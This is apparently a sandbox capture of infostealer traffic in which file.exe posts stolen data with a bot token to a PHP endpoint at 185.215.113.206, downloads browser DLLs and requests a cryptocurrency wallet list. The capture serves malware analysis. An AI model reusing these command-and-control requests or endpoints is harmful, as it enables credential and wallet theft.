Nov 12, 2024 13:35:22.759176970 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:35:22.883166075 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCAAFBFBKFIDGDHJDB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDGCAAFBFBKFIDGDHJDBContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------HDGCAAFBFBKFIDGDHJDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGCAAFBFBKFIDGDHJDBContent-Disposition: form-data; name="file"------HDGCAAFBFBKFIDGDHJDB--
Nov 12, 2024 13:35:23.661660910 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	51556	185.215.113.206	80	5320	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:35:29.170016050 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFBFHIEBKJKFHIEBFB Host: 185.215.113.206 Content-Length: 3083 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 13:35:29.170049906 CET	3083	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 Data Ascii: ------KFCFBFHIEBKJKFHIEBFBContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------KFCFBFHIEBKJKFHIEBFBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 12, 2024 13:35:30.567234039 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:35:30.677386045 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file"------CGIDGCGIEGDGDGDGHJKK--
Nov 12, 2024 13:35:31.449834108 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:35:32.165644884 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 13:35:32.444107056 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 12, 2024 13:35:32.444171906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 12, 2024 13:35:32.444184065 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 12, 2024 13:35:32.444355965 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 12, 2024 13:35:32.444369078 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 12, 2024 13:35:32.444380999 CET	960	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 12, 2024 13:35:32.444394112 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Nov 12, 2024 13:35:32.444674015 CET	1236	IN	Data Raw: 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f 70 fd f5 66 0f f4 e8 66 0f 70 ed e8 66 0f 70 c0 f5 66 0f f4 c7 66 0f 70 c0 e8 66 0f 62 e8 66 0f eb cd 66 0f 72 f3 17 66 0f fe de f3 0f 5b c3 66 0f 70 dc f5 66 0f f4 e0 66 0f 70 e4 e8 66 0f 70 Data Ascii: fo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]
Nov 12, 2024 13:35:32.444685936 CET	1236	IN	Data Raw: 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 fe ff ff 8b 41 04 89 85 a0 fe ff ff 89 c3 11 d3 8b 41 20 89 85 c4 fe ff ff 01 c7 8b 71 24 11 f3 89 5d c8 89 b5 98 fe ff ff 8b 51 44 31 da 8b 41 40 31 f8 89 fb 81 f2 7f 52 0e 51 89 95 50 ff ff Data Ascii: RAA q$]QD1A@1RQP5}gjM31tQIU]U1P1]PMMEE11xp
Nov 12, 2024 13:35:32.444699049 CET	1236	IN	Data Raw: 31 c1 31 f7 89 c8 0f a4 f8 01 89 45 8c 0f a4 cf 01 89 7d 98 8b 95 74 ff ff ff 8b 42 50 89 85 60 ff ff ff 8b 4d d4 01 c1 8b 42 54 89 85 44 ff ff ff 8b 5d cc 11 c3 8b 95 48 ff ff ff 01 d1 89 4d d4 8b 7d ac 11 fb 89 5d cc 8b 75 a0 31 de 89 75 a0 8b Data Ascii: 11E}tBP`MBTD]HM}]u1uP1Euu11}tOX EO\H}EE}1M1EMU}}1M1\|MtJ`
Nov 12, 2024 13:35:35.532232046 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 13:35:35.946882963 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 12, 2024 13:35:37.580473900 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 13:35:37.856353998 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 12, 2024 13:35:38.608186960 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 13:35:38.884368896 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 12, 2024 13:35:40.780662060 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 13:35:41.056545019 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 12, 2024 13:35:41.343204975 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 13:35:41.619441986 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 12, 2024 13:35:42.211553097 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFBAKKJDBKJJJKFHDAE Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 13:35:42.997606039 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:35:43.062553883 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIEHJDBKJKECBFHDGHJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 2d 2d 0d 0a Data Ascii: ------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="message"wallets------FIIEHJDBKJKECBFHDGHJ--
Nov 12, 2024 13:35:43.340584993 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 